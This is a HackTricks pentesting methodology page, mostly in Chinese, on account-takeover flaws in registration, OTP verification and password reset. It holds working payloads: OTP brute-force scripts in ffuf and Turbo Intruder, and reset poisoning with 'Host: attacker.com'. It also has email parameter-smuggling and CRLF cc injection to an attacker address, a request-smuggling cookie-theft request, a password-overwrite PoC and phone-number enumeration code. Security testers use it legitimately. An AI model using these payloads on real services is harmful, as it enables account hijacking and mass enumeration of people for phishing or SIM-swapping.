注册与接管漏洞
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
注册接管
Duplicate Registration
- 尝试使用已存在的用户名进行注册
- 尝试变更邮箱格式:
- 大写
- +1@
- 在邮箱中添加点
- 在邮箱用户名中添加特殊字符(%00, %09, %20)
- 在邮箱后放置空白字符:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- 尝试邮件提供商的规范化技巧(依服务而定):
- Gmail 忽略点与子地址:
victim+1@gmail.com,v.ic.tim@gmail.com会投递到victim@gmail.com - 某些提供商在本地部分不区分大小写
- 某些提供商接受 unicode confusables。尝试 homoglyphs 和 soft hyphen
\u00AD在本地部分中 - 利用这些方法可以:绕过唯一性检查、获取重复账户/workspace 邀请,或在你准备接管时阻止受害者注册(临时 DoS)
Username Enumeration
检查是否可以判断某用户名是否已在应用内注册。
- 不同的错误信息或 HTTP 状态码
- 计时差异(已存在用户可能触发对 IdP/DB 的查找)
- 注册表单对已知邮箱自动填充个人资料数据
- 检查团队/邀请流程:输入邮箱可能会泄露账户是否存在
Password Policy
创建用户时检查密码策略(测试是否可以使用弱密码)。
如果允许弱密码,可能会尝试暴力破解凭证。
SQL Injection
Check this page 了解如何通过 SQL Injections 在注册表单中尝试账户接管或提取信息。
Oauth Takeovers
SAML Vulnerabilities
Change Email
注册后尝试更改邮箱,检查该更改是否被正确验证,或是否可以更改为任意邮箱。
More Checks
- 检查是否可以使用 一次性邮箱 (mailinator, yopmail, 1secmail, etc.) 或通过子地址如
victim+mailinator@gmail.com绕过黑名单 - 超长密码 (>200) 会导致 DoS
- 检查账户创建的速率限制
- 使用 username@burp_collab.net 并分析 callback
- 如果使用电话号码验证,检查电话号码解析/注入的边缘情况
Contact-discovery / identifier-enumeration oracles
以电话号码为中心的消息应用在客户端同步联系人时会暴露一个 presence oracle。重放 WhatsApp 的发现请求历史上曾达到 >100M lookups per hour,使得几乎完全的账户枚举成为可能。
攻击工作流程
- Instrument an official client 来捕获地址簿上传请求(经过认证的规范化 E.164 号码的 blob)。在重用相同的 cookies/设备令牌时,用攻击者生成的号码重放该请求。
- 每次请求批量号码:WhatsApp 接受成千上万的标识符并返回已注册/未注册状态以及元数据(business, companion 等)。离线分析响应以构建目标列表,而无需向受害者发送消息。
- 横向扩展 枚举,使用 SIM 银行、云设备或住宅代理,以避免触发每账户/IP/ASN 的限速。
拨号计划建模
为每个国家建模拨号计划以跳过无效候选号码。NDSS 数据集(country-table.*)列出国家代码、采用密度和平台分布,以便你优先考虑命中率高的区间。示例种子代码:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
将 enumerations 转化为定向攻击
- 将 leaked 电话号码(例如 Facebook’s 2021 breach)输入 oracle,以便在进行 phishing、SIM-swapping 或 spamming 之前识别哪些身份仍然活跃。
- 按国家/OS/应用类型切分普查数据,以发现 SMS 过滤薄弱或 WhatsApp Business 采用率高的地区,便于进行本地化 social engineering。
Public-key reuse correlation
WhatsApp 在 session setup 期间会暴露每个账号的 X25519 identity key。对每个 enumerated 号码请求 identity material,并对 public keys 进行去重,以揭示 account farms、cloned clients 或不安全的固件——共享密钥会使 multi-SIM 操作失去匿名性。
弱的邮箱/电话验证 (OTP/Magic Link)
注册流程常通过数字 OTP 或 magic-link token 验证所有权。常见漏洞:
- 可猜测或过短的 OTP (4–6 digits),且没有有效的速率限制或 IP/设备追踪。尝试并行猜测和 header/IP 轮换。
- OTP 在不同操作或账户间重用,或没有绑定到特定用户/操作(例如,同一代码既可用于登录又可用于注册,或在邮箱更改后仍然有效)。
- Multi-value smuggling:某些后端接受多个 codes 并验证是否任意匹配。尝试:
code=000000&code=123456- JSON 数组:
{"code":["000000","123456"]} - 混合参数名:
otp=000000&one_time_code=123456 - 逗号/竖线分隔值:
code=000000,123456orcode=000000|123456 - Response oracle:通过状态/消息/响应体长度区分错误、过期或属于其他用户的代码。
- Tokens 在成功后或在密码/邮箱更改后未被作废。
- Verification token 未绑定到 user agent/IP,允许通过攻击者控制的页面进行跨源完成。
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
并行/并发猜测以绕过顺序锁定(使用 Turbo Intruder 在 Burp 中):
Turbo Intruder 代码片段,用于泛洪 6‑digit OTP 尝试
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Try racing verification: 在两个会话中同时提交相同的有效 OTP;有时其中一个会话会变成已验证的攻击者账号,而受害者的流程也会成功。
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (before the victim signs up)
A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.
Key techniques to test (adapt to the target’s flows):
- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification
Practical tips
- 从 web/mobile bundle 中收集流程和端点。查找 classic signup、SSO linking、email/phone change 和 password reset 的端点。
- 编写真实的自动化脚本以在测试其他流程时保持会话存活。
- 对于 SSO 测试,搭建一个测试 OIDC provider,并为受害者地址签发包含 `email` claims 且 `email_verified=false` 的 token,以检查 RP 是否信任未验证的 IdP。
- 在任何 password reset 或 email change 之后,验证:
- 所有其他会话和 tokens 是否被作废,
- 待处理的 email/phone 更改能力是否被取消,
- 之前关联的 IdPs/emails/phones 是否被重新验证。
Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- 攻击者需要使用自己的账号登录并进入 Change password 功能。
- 启动 Burp Suite 并拦截请求
- 将请求发送到 repeater 选项卡并编辑参数:User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Weak Password Reset Token
密码重置 token 应该是随机生成且每次都唯一。
尝试确定该 token 是否会过期或是否始终相同,因为在某些情况下生成算法较弱且可被猜测。以下变量可能被算法使用:
- 时间戳
- UserID
- 用户邮箱
- 名字和姓氏
- 出生日期
- 密码学
- 仅数字
- Small token sequence ( characters between [A-Z,a-z,0-9])
- token 重用
- token 过期日期
Leaking Password Reset Token
- 使用 API/UI 触发针对特定邮箱(例如:test@mail.com)的密码重置请求。
- 检查服务器响应并查找
resetToken - 然后在 URL 中使用该 token,例如
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- 在系统上注册一个用户名与受害者用户名相同,但在用户名前后插入空格的账号,例如:
"admin " - 使用你带空格的用户名请求密码重置。
- 使用发送到你邮箱的 token 重置受害者密码。
- 使用新密码登录受害者账号。
该平台 CTFd 曾易受此攻击。
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- 在应用或子域中找到 XSS,若 cookies 的作用域是父域:
*.domain.com - Leak 当前 sessions cookie
- 使用该 cookie 以用户身份认证
Account Takeover Via HTTP Request Smuggling
- 使用 smuggler 检测 HTTP Request Smuggling 的类型(CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - 构造一个请求,覆盖
POST / HTTP/1.1,内容如下:GET http://something.burpcollaborator.net HTTP/1.1 X:目标是将受害者 open redirect 到 burpcollab 并窃取他们的 cookies\ - Final request could look like the following
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug\
通过 CSRF 劫持账户
- 为 CSRF 创建 payload,例如:“HTML form with auto submit for a password change”
- 发送该 payload
通过 JWT 劫持账户
JSON Web Token 可能被用于认证用户。
- 编辑 JWT,将 User ID / Email 更改为另一个用户
- 检查 JWT 签名是否弱
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
一些注册处理器在提供的 email 已存在时会执行 upsert。如果该 endpoint 接受只包含 email 和 password 的最小请求体且不强制验证所有权,那么发送受害者的 email 会在未认证的情况下覆盖其密码。
- 发现:从 bundled JS(或移动应用流量)收集 endpoint 名称,然后使用 ffuf/dirsearch 对类似 /parents/application/v4/admin/FUZZ 的基路径进行 fuzz。
- 方法提示:返回类似 “Only POST request is allowed.” 的 GET 通常表明正确的请求动词并且预期是 JSON body。
- 在真实环境中观察到的最小请求体:
{"email":"victim@example.com","password":"New@12345"}
示例 PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
影响:Full Account Takeover (ATO) without any reset token, OTP, or email verification.
参考资料
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

